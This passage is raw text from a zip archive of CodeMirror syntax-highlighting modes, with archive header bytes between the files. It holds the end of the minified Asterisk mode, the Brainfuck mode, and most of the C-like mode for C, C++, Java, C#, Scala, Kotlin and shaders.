module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("asterisk",(function(){function
a(a,d){var
e="",f=a.next();if(d.blockComment)return"-"==f&&a.match("-;",!0)?d.blockComment=!1:a.skipTo("--;")?(a.next(),a.next(),a.next(),d.blockComment=!1):a.skipToEnd(),"comment";if(";"==f)return
a.match("--",!0)&&!a.match("-",!1)?(d.blockComment=!0,"comment"):(a.skipToEnd(),"comment");if("["==f)return
a.skipTo("]"),a.eat("]"),"header";if('"'==f)return
a.skipTo('"'),"string";if("'"==f)return
a.skipTo("'"),"string-2";if("#"==f&&(a.eatWhile(/\w/),e=a.current(),-1!==c.indexOf(e)))return
a.skipToEnd(),"strong";if("$"==f){if("{"==a.peek())return
a.skipTo("}"),a.eat("}"),"variable-3"}if(a.eatWhile(/\w/),e=a.current(),-1!==b.indexOf(e)){switch(d.extenStart=!0,e){case"same":d.extenSame=!0;break;case"include":case"switch":case"ignorepat":d.extenInclude=!0}return"atom"}}var
b=["exten","same","include","ignorepat","switch"],c=["#include","#exec"],d=["addqueuemember","adsiprog","aelsub","agentlogin","agentmonitoroutgoing","agi","alarmreceiver","amd","answer","authenticate","background","backgrounddetect","bridge","busy","callcompletioncancel","callcompletionrequest","celgenuserevent","changemonitor","chanisavail","channelredirect","chanspy","clearhash","confbridge","congestion","continuewhile","controlplayback","dahdiacceptr2call","dahdibarge","dahdiras","dahdiscan","dahdisendcallreroutingfacility","dahdisendkeypadfacility","datetime","dbdel","dbdeltree","deadagi","dial","dictate","directory","disa","dumpchan","eagi","echo","endwhile","exec","execif","execiftime","exitwhile","extenspy","externalivr","festival","flash","followme","forkcdr","getcpeid","gosub","gosubif","goto","gotoif","gotoiftime","hangup","iax2provision","ices","importvar","incomplete","ivrdemo","jabberjoin","jabberleave","jabbersend","jabbersendgroup","jabberstatus","jack","log","macro","macroexclusive","macroexit","macroif","mailboxexists","meetme","meetmeadmin","meetmechanneladmin","meetmecount","milliwatt","minivmaccmess","minivmdelete","minivmgreet","minivmmwi","minivmnotify","minivmrecord","mixmonitor","monitor","morsecode","mp3player","mset","musiconhold","nbscat","nocdr","noop","odbc","odbc","odbcfinish","originate","ospauth","ospfinish","osplookup","ospnext","page","park","parkandannounce","parkedcall","pausemonitor","pausequeuemember","pickup","pickupchan","playback","playtones","privacymanager","proceeding","progress","queue","queuelog","raiseexception","read","readexten","readfile","receivefax","receivefax","receivefax","record","removequeuemember","resetcdr","retrydial","return","ringing","sayalpha","saycountedadj","saycountednoun","saycountpl","saydigits","saynumber","sayphonetic","sayunixtime","senddtmf","sendfax","sendfax","sendfax","sendimage","sendtext","sendurl","set","setamaflags","setcallerpres","setmusiconhold","sipaddheader","sipdtmfmode","sipremoveheader","skel","slastation","slatrunk","sms","softhangup","speechactivategrammar","speechbackground","speechcreate","speechdeactivategrammar","speechdestroy","speechloadgrammar","speechprocessingsound","speechstart","speechunloadgrammar","stackpop","startmusiconhold","stopmixmonitor","stopmonitor","stopmusiconhold","stopplaytones","system","testclient","testserver","transfer","tryexec","trysystem","unpausemonitor","unpausequeuemember","userevent","verbose","vmauthenticate","vmsayname","voicemail","voicemailmain","wait","waitexten","waitfornoise","waitforring","waitforsilence","waitmusiconhold","waituntil","while","zapateller"];return{startState:function(){return{blockComment:!1,extenStart:!1,extenSame:!1,extenInclude:!1,extenExten:!1,extenPriority:!1,extenApplication:!1}},token:function(b,c){var
e="";return
b.eatSpace()?null:c.extenStart?(b.eatWhile(/[^\s]/),e=b.current(),/^=>?$/.test(e)?(c.extenExten=!0,c.extenStart=!1,"strong"):(c.extenStart=!1,b.skipToEnd(),"error")):c.extenExten?(c.extenExten=!1,c.extenPriority=!0,b.eatWhile(/[^,]/),c.extenInclude&&(b.skipToEnd(),c.extenPriority=!1,c.extenInclude=!1),c.extenSame&&(c.extenPriority=!1,c.extenSame=!1,c.extenApplication=!0),"tag"):c.extenPriority?(c.extenPriority=!1,c.extenApplication=!0,b.next(),c.extenSame?null:(b.eatWhile(/[^,]/),"number")):c.extenApplication?(b.eatWhile(/,/),","===(e=b.current())?null:(b.eatWhile(/\w/),e=b.current().toLowerCase(),c.extenApplication=!1,-1!==d.indexOf(e)?"def
strong":null)):a(b,c)},blockCommentStart:";--",blockCommentEnd:"--;",lineComment:";"}})),a.defineMIME("text/x-asterisk","asterisk")}));PKD��[O��&codemirror/mode/brainfuck/brainfuck.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Brainfuck mode created by Michael Kaminsky
https://github.com/mkaminsky11

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object")
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd)
    define(["../../lib/codemirror"], mod)
  else
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"
  var reserve = "><+-.,[]".split("");
  /*
  comments can be either:
  placed behind lines

        +++    this is a comment

  where reserved characters cannot be used
  or in a loop
  [
    this is ok to use [ ] and stuff
  ]
  or preceded by #
  */
  CodeMirror.defineMode("brainfuck", function() {
    return {
      startState: function() {
        return {
          commentLine: false,
          left: 0,
          right: 0,
          commentLoop: false
        }
      },
      token: function(stream, state) {
        if (stream.eatSpace()) return null
        if(stream.sol()){
          state.commentLine = false;
        }
        var ch = stream.next().toString();
        if(reserve.indexOf(ch) !== -1){
          if(state.commentLine === true){
            if(stream.eol()){
              state.commentLine = false;
            }
            return "comment";
          }
          if(ch === "]" || ch === "["){
            if(ch === "["){
              state.left++;
            }
            else{
              state.right++;
            }
            return "bracket";
          }
          else if(ch === "+" || ch === "-"){
            return "keyword";
          }
          else if(ch === "<" || ch === ">"){
            return "atom";
          }
          else if(ch === "." || ch === ","){
            return "def";
          }
        }
        else{
          state.commentLine = true;
          if(stream.eol()){
            state.commentLine = false;
          }
          return "comment";
        }
        if(stream.eol()){
          state.commentLine = false;
        }
      }
    };
  });
CodeMirror.defineMIME("text/x-brainfuck","brainfuck")
});
PKD��[[�44*codemirror/mode/brainfuck/brainfuck.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";var
b="><+-.,[]".split("");a.defineMode("brainfuck",(function(){return{startState:function(){return{commentLine:!1,left:0,right:0,commentLoop:!1}},token:function(a,c){if(a.eatSpace())return
null;a.sol()&&(c.commentLine=!1);var
d=a.next().toString();return-1===b.indexOf(d)?(c.commentLine=!0,a.eol()&&(c.commentLine=!1),"comment"):!0===c.commentLine?(a.eol()&&(c.commentLine=!1),"comment"):"]"===d||"["===d?("["===d?c.left++:c.right++,"bracket"):"+"===d||"-"===d?"keyword":"<"===d||">"===d?"atom":"."===d||","===d?"def":void(a.eol()&&(c.commentLine=!1))}}})),a.defineMIME("text/x-brainfuck","brainfuck")}));PKD��[��GB����codemirror/mode/clike/clike.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function Context(indented, column, type, info, align, prev) {
  this.indented = indented;
  this.column = column;
  this.type = type;
  this.info = info;
  this.align = align;
  this.prev = prev;
}
function pushContext(state, col, type, info) {
  var indent = state.indented;
  if (state.context && state.context.type == "statement"
&& type != "statement")
    indent = state.context.indented;
  return state.context = new Context(indent, col, type, info, null,
state.context);
}
function popContext(state) {
  var t = state.context.type;
  if (t == ")" || t == "]" || t == "}")
    state.indented = state.context.indented;
  return state.context = state.context.prev;
}

function typeBefore(stream, state, pos) {
  if (state.prevToken == "variable" || state.prevToken ==
"type") return true;
  if (/\S(?:[^- ]>|[*\]])\s*$|\*$/.test(stream.string.slice(0, pos)))
return true;
  if (state.typeAtEndOfLine && stream.column() ==
stream.indentation()) return true;
}

function isTopScope(context) {
  for (;;) {
    if (!context || context.type == "top") return true;
    if (context.type == "}" && context.prev.info !=
"namespace") return false;
    context = context.prev;
  }
}

CodeMirror.defineMode("clike", function(config, parserConfig) {
  var indentUnit = config.indentUnit,
      statementIndentUnit = parserConfig.statementIndentUnit || indentUnit,
      dontAlignCalls = parserConfig.dontAlignCalls,
      keywords = parserConfig.keywords || {},
      types = parserConfig.types || {},
      builtin = parserConfig.builtin || {},
      blockKeywords = parserConfig.blockKeywords || {},
      defKeywords = parserConfig.defKeywords || {},
      atoms = parserConfig.atoms || {},
      hooks = parserConfig.hooks || {},
      multiLineStrings = parserConfig.multiLineStrings,
      indentStatements = parserConfig.indentStatements !== false,
      indentSwitch = parserConfig.indentSwitch !== false,
      namespaceSeparator = parserConfig.namespaceSeparator,
      isPunctuationChar = parserConfig.isPunctuationChar ||
/[\[\]{}\(\),;\:\.]/,
      numberStart = parserConfig.numberStart || /[\d\.]/,
      number = parserConfig.number ||
/^(?:0x[a-f\d]+|0b[01]+|(?:\d+\.?\d*|\.\d+)(?:e[-+]?\d+)?)(u|ll?|l|f)?/i,
      isOperatorChar = parserConfig.isOperatorChar ||
/[+\-*&%=<>!?|\/]/,
      isIdentifierChar = parserConfig.isIdentifierChar ||
/[\w\$_\xa1-\uffff]/,
      // An optional function that takes a {string} token and returns true
if it
      // should be treated as a builtin.
      isReservedIdentifier = parserConfig.isReservedIdentifier || false;

  var curPunc, isDefKeyword;

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (isPunctuationChar.test(ch)) {
      curPunc = ch;
      return null;
    }
    if (numberStart.test(ch)) {
      stream.backUp(1)
      if (stream.match(number)) return "number"
      stream.next()
    }
    if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      while (!stream.match(/^\/[\/*]/, false) &&
stream.eat(isOperatorChar)) {}
      return "operator";
    }
    stream.eatWhile(isIdentifierChar);
    if (namespaceSeparator) while (stream.match(namespaceSeparator))
      stream.eatWhile(isIdentifierChar);

    var cur = stream.current();
    if (contains(keywords, cur)) {
      if (contains(blockKeywords, cur)) curPunc = "newstatement";
      if (contains(defKeywords, cur)) isDefKeyword = true;
      return "keyword";
    }
    if (contains(types, cur)) return "type";
    if (contains(builtin, cur)
        || (isReservedIdentifier && isReservedIdentifier(cur))) {
      if (contains(blockKeywords, cur)) curPunc = "newstatement";
      return "builtin";
    }
    if (contains(atoms, cur)) return "atom";
    return "variable";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "\\";
      }
      if (end || !(escaped || multiLineStrings))
        state.tokenize = null;
      return "string";
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function maybeEOL(stream, state) {
    if (parserConfig.typeFirstDefinitions && stream.eol()
&& isTopScope(state.context))
      state.typeAtEndOfLine = typeBefore(stream, state, stream.pos)
  }

  // Interface

  return {
    startState: function(basecolumn) {
      return {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", null, false),
        indented: 0,
        startOfLine: true,
        prevToken: null
      };
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
      }
      if (stream.eatSpace()) { maybeEOL(stream, state); return null; }
      curPunc = isDefKeyword = null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta") return
style;
      if (ctx.align == null) ctx.align = true;

      if (curPunc == ";" || curPunc == ":" || (curPunc
== "," && stream.match(/^\s*(?:\/\/.*)?$/, false)))
        while (state.context.type == "statement")
popContext(state);
      else if (curPunc == "{") pushContext(state,
stream.column(), "}");
      else if (curPunc == "[") pushContext(state,
stream.column(), "]");
      else if (curPunc == "(") pushContext(state,
stream.column(), ")");
      else if (curPunc == "}") {
        while (ctx.type == "statement") ctx = popContext(state);
        if (ctx.type == "}") ctx = popContext(state);
        while (ctx.type == "statement") ctx = popContext(state);
      }
      else if (curPunc == ctx.type) popContext(state);
      else if (indentStatements &&
               (((ctx.type == "}" || ctx.type == "top")
&& curPunc != ";") ||
                (ctx.type == "statement" && curPunc ==
"newstatement"))) {
        pushContext(state, stream.column(), "statement",
stream.current());
      }

      if (style == "variable" &&
          ((state.prevToken == "def" ||
            (parserConfig.typeFirstDefinitions &&
typeBefore(stream, state, stream.start) &&
             isTopScope(state.context) && stream.match(/^\s*\(/,
false)))))
        style = "def";

      if (hooks.token) {
        var result = hooks.token(stream, state, style);
        if (result !== undefined) style = result;
      }

      if (style == "def" && parserConfig.styleDefs ===
false) style = "variable";

      state.startOfLine = false;
      state.prevToken = isDefKeyword ? "def" : style || curPunc;
      maybeEOL(stream, state);
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null ||
state.typeAtEndOfLine) return CodeMirror.Pass;
      var ctx = state.context, firstChar = textAfter &&
textAfter.charAt(0);
      var closing = firstChar == ctx.type;
      if (ctx.type == "statement" && firstChar ==
"}") ctx = ctx.prev;
      if (parserConfig.dontIndentStatements)
        while (ctx.type == "statement" &&
parserConfig.dontIndentStatements.test(ctx.info))
          ctx = ctx.prev
      if (hooks.indent) {
        var hook = hooks.indent(state, ctx, textAfter, indentUnit);
        if (typeof hook == "number") return hook
      }
      var switchBlock = ctx.prev && ctx.prev.info ==
"switch";
      if (parserConfig.allmanIndentation && /[{(]/.test(firstChar))
{
        while (ctx.type != "top" && ctx.type !=
"}") ctx = ctx.prev
        return ctx.indented
      }
      if (ctx.type == "statement")
        return ctx.indented + (firstChar == "{" ? 0 :
statementIndentUnit);
      if (ctx.align && (!dontAlignCalls || ctx.type !=
")"))
        return ctx.column + (closing ? 0 : 1);
      if (ctx.type == ")" && !closing)
        return ctx.indented + statementIndentUnit;

      return ctx.indented + (closing ? 0 : indentUnit) +
        (!closing && switchBlock &&
!/^(?:case|default)\b/.test(textAfter) ? indentUnit : 0);
    },

    electricInput: indentSwitch ? /^\s*(?:case .*?:|default:|\{\}?|\})$/ :
/^\s*[{}]$/,
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    blockCommentContinue: " * ",
    lineComment: "//",
    fold: "brace"
  };
});

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }
  function contains(words, word) {
    if (typeof words === "function") {
      return words(word);
    } else {
      return words.propertyIsEnumerable(word);
    }
  }
  var cKeywords = "auto if break case register continue return default
do sizeof " +
    "static else struct switch extern typedef union for goto while
enum const " +
    "volatile inline restrict asm fortran";

  // Keywords from https://en.cppreference.com/w/cpp/keyword includes
C++20.
  var cppKeywords = "alignas alignof and and_eq audit axiom bitand
bitor catch " +
  "class compl concept constexpr const_cast decltype delete
dynamic_cast " +
  "explicit export final friend import module mutable namespace new
noexcept " +
  "not not_eq operator or or_eq override private protected public
" +
  "reinterpret_cast requires static_assert static_cast template this
" +
  "thread_local throw try typeid typename using virtual xor
xor_eq";

  var objCKeywords = "bycopy byref in inout oneway out self super
atomic nonatomic retain copy " +
  "readwrite readonly strong weak assign typeof nullable nonnull
null_resettable _cmd " +
  "@interface @implementation @end @protocol @encode @property
@synthesize @dynamic @class " +
  "@public @package @private @protected @required @optional @try
@catch @finally @import " +
  "@selector @encode @defs @synchronized @autoreleasepool
@compatibility_alias @available";

  var objCBuiltins = "FOUNDATION_EXPORT FOUNDATION_EXTERN NS_INLINE
NS_FORMAT_FUNCTION " +
  " NS_RETURNS_RETAINEDNS_ERROR_ENUM NS_RETURNS_NOT_RETAINED
NS_RETURNS_INNER_POINTER " +
  "NS_DESIGNATED_INITIALIZER NS_ENUM NS_OPTIONS
NS_REQUIRES_NIL_TERMINATION " +
  "NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_SWIFT_NAME
NS_REFINED_FOR_SWIFT"

  // Do not use this. Use the cTypes function below. This is global just to
avoid
  // excessive calls when cTypes is being called multiple times during a
parse.
  var basicCTypes = words("int long char short double float unsigned
signed " +
    "void bool");

  // Do not use this. Use the objCTypes function below. This is global just
to avoid
  // excessive calls when objCTypes is being called multiple times during a
parse.
  var basicObjCTypes = words("SEL instancetype id Class Protocol
BOOL");

  // Returns true if identifier is a "C" type.
  // C type is defined as those that are reserved by the compiler
(basicTypes),
  // and those that end in _t (Reserved by POSIX for types)
  // http://www.gnu.org/software/libc/manual/html_node/Reserved-Names.html
  function cTypes(identifier) {
    return contains(basicCTypes, identifier) || /.+_t$/.test(identifier);
  }

  // Returns true if identifier is a "Objective C" type.
  function objCTypes(identifier) {
    return cTypes(identifier) || contains(basicObjCTypes, identifier);
  }

  var cBlockKeywords = "case do else for if switch while struct enum
union";
  var cDefKeywords = "struct enum union";

  function cppHook(stream, state) {
    if (!state.startOfLine) return false
    for (var ch, next = null; ch = stream.peek();) {
      if (ch == "\\" && stream.match(/^.$/)) {
        next = cppHook
        break
      } else if (ch == "/" && stream.match(/^\/[\/\*]/,
false)) {
        break
      }
      stream.next()
    }
    state.tokenize = next
    return "meta"
  }

  function pointerHook(_stream, state) {
    if (state.prevToken == "type") return "type";
    return false;
  }

  // For C and C++ (and ObjC): identifiers starting with __
  // or _ followed by a capital letter are reserved for the compiler.
  function cIsReservedIdentifier(token) {
    if (!token || token.length < 2) return false;
    if (token[0] != '_') return false;
    return (token[1] == '_') || (token[1] !==
token[1].toLowerCase());
  }

  function cpp14Literal(stream) {
    stream.eatWhile(/[\w\.']/);
    return "number";
  }

  function cpp11StringHook(stream, state) {
    stream.backUp(1);
    // Raw strings.
    if (stream.match(/(R|u8R|uR|UR|LR)/)) {
      var match = stream.match(/"([^\s\\()]{0,16})\(/);
      if (!match) {
        return false;
      }
      state.cpp11RawStringDelim = match[1];
      state.tokenize = tokenRawString;
      return tokenRawString(stream, state);
    }
    // Unicode strings/chars.
    if (stream.match(/(u8|u|U|L)/)) {
      if (stream.match(/["']/, /* eat */ false)) {
        return "string";
      }
      return false;
    }
    // Ignore this hook.
    stream.next();
    return false;
  }

  function cppLooksLikeConstructor(word) {
    var lastTwo = /(\w+)::~?(\w+)$/.exec(word);
    return lastTwo && lastTwo[1] == lastTwo[2];
  }

  // C#-style strings where "" escapes a quote.
  function tokenAtString(stream, state) {
    var next;
    while ((next = stream.next()) != null) {
      if (next == '"' &&
!stream.eat('"')) {
        state.tokenize = null;
        break;
      }
    }
    return "string";
  }

  // C++11 raw string literal is <prefix>"<delim>(
anything )<delim>", where
  // <delim> can be a string up to 16 characters long.
  function tokenRawString(stream, state) {
    // Escape characters that have special regex meanings.
    var delim = state.cpp11RawStringDelim.replace(/[^\w\s]/g,
'\\$&');
    var match = stream.match(new RegExp(".*?\\)" + delim +
'"'));
    if (match)
      state.tokenize = null;
    else
      stream.skipToEnd();
    return "string";
  }

  function def(mimes, mode) {
    if (typeof mimes == "string") mimes = [mimes];
    var words = [];
    function add(obj) {
      if (obj) for (var prop in obj) if (obj.hasOwnProperty(prop))
        words.push(prop);
    }
    add(mode.keywords);
    add(mode.types);
    add(mode.builtin);
    add(mode.atoms);
    if (words.length) {
      mode.helperType = mimes[0];
      CodeMirror.registerHelper("hintWords", mimes[0], words);
    }

    for (var i = 0; i < mimes.length; ++i)
      CodeMirror.defineMIME(mimes[i], mode);
  }

  def(["text/x-csrc", "text/x-c",
"text/x-chdr"], {
    name: "clike",
    keywords: words(cKeywords),
    types: cTypes,
    blockKeywords: words(cBlockKeywords),
    defKeywords: words(cDefKeywords),
    typeFirstDefinitions: true,
    atoms: words("NULL true false"),
    isReservedIdentifier: cIsReservedIdentifier,
    hooks: {
      "#": cppHook,
      "*": pointerHook,
    },
    modeProps: {fold: ["brace", "include"]}
  });

  def(["text/x-c++src", "text/x-c++hdr"], {
    name: "clike",
    keywords: words(cKeywords + " " + cppKeywords),
    types: cTypes,
    blockKeywords: words(cBlockKeywords + " class try catch"),
    defKeywords: words(cDefKeywords + " class namespace"),
    typeFirstDefinitions: true,
    atoms: words("true false NULL nullptr"),
    dontIndentStatements: /^template$/,
    isIdentifierChar: /[\w\$_~\xa1-\uffff]/,
    isReservedIdentifier: cIsReservedIdentifier,
    hooks: {
      "#": cppHook,
      "*": pointerHook,
      "u": cpp11StringHook,
      "U": cpp11StringHook,
      "L": cpp11StringHook,
      "R": cpp11StringHook,
      "0": cpp14Literal,
      "1": cpp14Literal,
      "2": cpp14Literal,
      "3": cpp14Literal,
      "4": cpp14Literal,
      "5": cpp14Literal,
      "6": cpp14Literal,
      "7": cpp14Literal,
      "8": cpp14Literal,
      "9": cpp14Literal,
      token: function(stream, state, style) {
        if (style == "variable" && stream.peek() ==
"(" &&
            (state.prevToken == ";" || state.prevToken == null ||
             state.prevToken == "}") &&
            cppLooksLikeConstructor(stream.current()))
          return "def";
      }
    },
    namespaceSeparator: "::",
    modeProps: {fold: ["brace", "include"]}
  });

  def("text/x-java", {
    name: "clike",
    keywords: words("abstract assert break case catch class const
continue default " +
                    "do else enum extends final finally for goto if
implements import " +
                    "instanceof interface native new package private
protected public " +
                    "return static strictfp super switch synchronized
this throw throws transient " +
                    "try volatile while @interface"),
    types: words("byte short int long float double boolean char void
Boolean Byte Character Double Float " +
                 "Integer Long Number Object Short String StringBuffer
StringBuilder Void"),
    blockKeywords: words("catch class do else finally for if switch
try while"),
    defKeywords: words("class interface enum @interface"),
    typeFirstDefinitions: true,
    atoms: words("true false null"),
    number:
/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+\.?\d*|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,
    hooks: {
      "@": function(stream) {
        // Don't match the @interface keyword.
        if (stream.match('interface', false)) return false;

        stream.eatWhile(/[\w\$_]/);
        return "meta";
      }
    },
    modeProps: {fold: ["brace", "import"]}
  });

  def("text/x-csharp", {
    name: "clike",
    keywords: words("abstract as async await base break case catch
checked class const continue" +
                    " default delegate do else enum event explicit
extern finally fixed for" +
                    " foreach goto if implicit in interface internal
is lock namespace new" +
                    " operator out override params private protected
public readonly ref return sealed" +
                    " sizeof stackalloc static struct switch this
throw try typeof unchecked" +
                    " unsafe using virtual void volatile while add
alias ascending descending dynamic from get" +
                    " global group into join let orderby partial
remove select set value var yield"),
    types: words("Action Boolean Byte Char DateTime DateTimeOffset
Decimal Double Func" +
                 " Guid Int16 Int32 Int64 Object SByte Single String
Task TimeSpan UInt16 UInt32" +
                 " UInt64 bool byte char decimal double short int long
object"  +
                 " sbyte float string ushort uint ulong"),
    blockKeywords: words("catch class do else finally for foreach if
struct switch try while"),
    defKeywords: words("class interface namespace struct var"),
    typeFirstDefinitions: true,
    atoms: words("true false null"),
    hooks: {
      "@": function(stream, state) {
        if (stream.eat('"')) {
          state.tokenize = tokenAtString;
          return tokenAtString(stream, state);
        }
        stream.eatWhile(/[\w\$_]/);
        return "meta";
      }
    }
  });

  function tokenTripleString(stream, state) {
    var escaped = false;
    while (!stream.eol()) {
      if (!escaped && stream.match('"""'))
{
        state.tokenize = null;
        break;
      }
      escaped = stream.next() == "\\" && !escaped;
    }
    return "string";
  }

  function tokenNestedComment(depth) {
    return function (stream, state) {
      var ch
      while (ch = stream.next()) {
        if (ch == "*" && stream.eat("/")) {
          if (depth == 1) {
            state.tokenize = null
            break
          } else {
            state.tokenize = tokenNestedComment(depth - 1)
            return state.tokenize(stream, state)
          }
        } else if (ch == "/" &&
stream.eat("*")) {
          state.tokenize = tokenNestedComment(depth + 1)
          return state.tokenize(stream, state)
        }
      }
      return "comment"
    }
  }

  def("text/x-scala", {
    name: "clike",
    keywords: words(
      /* scala */
      "abstract case catch class def do else extends final finally for
forSome if " +
      "implicit import lazy match new null object override package
private protected return " +
      "sealed super this throw trait try type val var while with yield
_ " +

      /* package scala */
      "assert assume require print println printf readLine readBoolean
readByte readShort " +
      "readChar readInt readLong readFloat readDouble"
    ),
    types: words(
      "AnyVal App Application Array BufferedIterator BigDecimal BigInt
Char Console Either " +
      "Enumeration Equiv Error Exception Fractional Function
IndexedSeq Int Integral Iterable " +
      "Iterator List Map Numeric Nil NotNull Option Ordered Ordering
PartialFunction PartialOrdering " +
      "Product Proxy Range Responder Seq Serializable Set
Specializable Stream StringBuilder " +
      "StringContext Symbol Throwable Traversable TraversableOnce
Tuple Unit Vector " +

      /* package java.lang */
      "Boolean Byte Character CharSequence Class ClassLoader Cloneable
Comparable " +
      "Compiler Double Exception Float Integer Long Math Number Object
Package Pair Process " +
      "Runtime Runnable SecurityManager Short StackTraceElement
StrictMath String " +
      "StringBuffer System Thread ThreadGroup ThreadLocal Throwable
Triple Void"
    ),
    multiLineStrings: true,
    blockKeywords: words("catch class enum do else finally for forSome
if match switch try while"),
    defKeywords: words("class enum def object package trait type val
var"),
    atoms: words("true false null"),
    indentStatements: false,
    indentSwitch: false,
    isOperatorChar: /[+\-*&%=<>!?|\/#:@]/,
    hooks: {
      "@": function(stream) {
        stream.eatWhile(/[\w\$_]/);
        return "meta";
      },
      '"': function(stream, state) {
        if (!stream.match('""')) return false;
        state.tokenize = tokenTripleString;
        return state.tokenize(stream, state);
      },
      "'": function(stream) {
        stream.eatWhile(/[\w\$_\xa1-\uffff]/);
        return "atom";
      },
      "=": function(stream, state) {
        var cx = state.context
        if (cx.type == "}" && cx.align &&
stream.eat(">")) {
          state.context = new Context(cx.indented, cx.column, cx.type,
cx.info, null, cx.prev)
          return "operator"
        } else {
          return false
        }
      },

      "/": function(stream, state) {
        if (!stream.eat("*")) return false
        state.tokenize = tokenNestedComment(1)
        return state.tokenize(stream, state)
      }
    },
    modeProps: {closeBrackets: {pairs: '()[]{}""',
triples: '"'}}
  });

  function tokenKotlinString(tripleString){
    return function (stream, state) {
      var escaped = false, next, end = false;
      while (!stream.eol()) {
        if (!tripleString && !escaped &&
stream.match('"') ) {end = true; break;}
        if (tripleString &&
stream.match('"""')) {end = true; break;}
        next = stream.next();
        if(!escaped && next == "$" &&
stream.match('{'))
          stream.skipTo("}");
        escaped = !escaped && next == "\\" &&
!tripleString;
      }
      if (end || !tripleString)
        state.tokenize = null;
      return "string";
    }
  }

  def("text/x-kotlin", {
    name: "clike",
    keywords: words(
      /*keywords*/
      "package as typealias class interface this super val operator
" +
      "var fun for is in This throw return annotation " +
      "break continue object if else while do try when !in !is as?
" +

      /*soft keywords*/
      "file import where by get set abstract enum open inner override
private public internal " +
      "protected catch finally out final vararg reified dynamic
companion constructor init " +
      "sealed field property receiver param sparam lateinit data
inline noinline tailrec " +
      "external annotation crossinline const operator infix suspend
actual expect setparam"
    ),
    types: words(
      /* package java.lang */
      "Boolean Byte Character CharSequence Class ClassLoader Cloneable
Comparable " +
      "Compiler Double Exception Float Integer Long Math Number Object
Package Pair Process " +
      "Runtime Runnable SecurityManager Short StackTraceElement
StrictMath String " +
      "StringBuffer System Thread ThreadGroup ThreadLocal Throwable
Triple Void Annotation Any BooleanArray " +
      "ByteArray Char CharArray DeprecationLevel DoubleArray Enum
FloatArray Function Int IntArray Lazy " +
      "LazyThreadSafetyMode LongArray Nothing ShortArray Unit"
    ),
    intendSwitch: false,
    indentStatements: false,
    multiLineStrings: true,
    number:
/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+(\.\d+)?|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,
    blockKeywords: words("catch class do else finally for if where try
while enum"),
    defKeywords: words("class val var object interface fun"),
    atoms: words("true false null this"),
    hooks: {
      "@": function(stream) {
        stream.eatWhile(/[\w\$_]/);
        return "meta";
      },
      '*': function(_stream, state) {
        return state.prevToken == '.' ? 'variable' :
'operator';
      },
      '"': function(stream, state) {
        state.tokenize =
tokenKotlinString(stream.match('""'));
        return state.tokenize(stream, state);
      },
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenNestedComment(1);
        return state.tokenize(stream, state)
      },
      indent: function(state, ctx, textAfter, indentUnit) {
        var firstChar = textAfter && textAfter.charAt(0);
        if ((state.prevToken == "}" || state.prevToken ==
")") && textAfter == "")
          return state.indented;
        if ((state.prevToken == "operator" && textAfter
!= "}" && state.context.type != "}") ||
          state.prevToken == "variable" && firstChar ==
"." ||
          (state.prevToken == "}" || state.prevToken ==
")") && firstChar == ".")
          return indentUnit * 2 + ctx.indented;
        if (ctx.align && ctx.type == "}")
          return ctx.indented + (state.context.type == (textAfter ||
"").charAt(0) ? 0 : indentUnit);
      }
    },
    modeProps: {closeBrackets: {triples: '"'}}
  });

  def(["x-shader/x-vertex", "x-shader/x-fragment"], {
    name: "clike",
    keywords: words("sampler1D sampler2D sampler3D samplerCube "
+
                    "sampler1DShadow sampler2DShadow " +
                    "const attribute uniform varying " +
                    "break continue discard return " +
                    "for while do if else struct " +
                    "in out inout"),
    types: words("float int bool void " +
                 "vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4
" +
                 "mat2 mat3 mat4"),
    blockKeywords: words("for while do if else struct"),
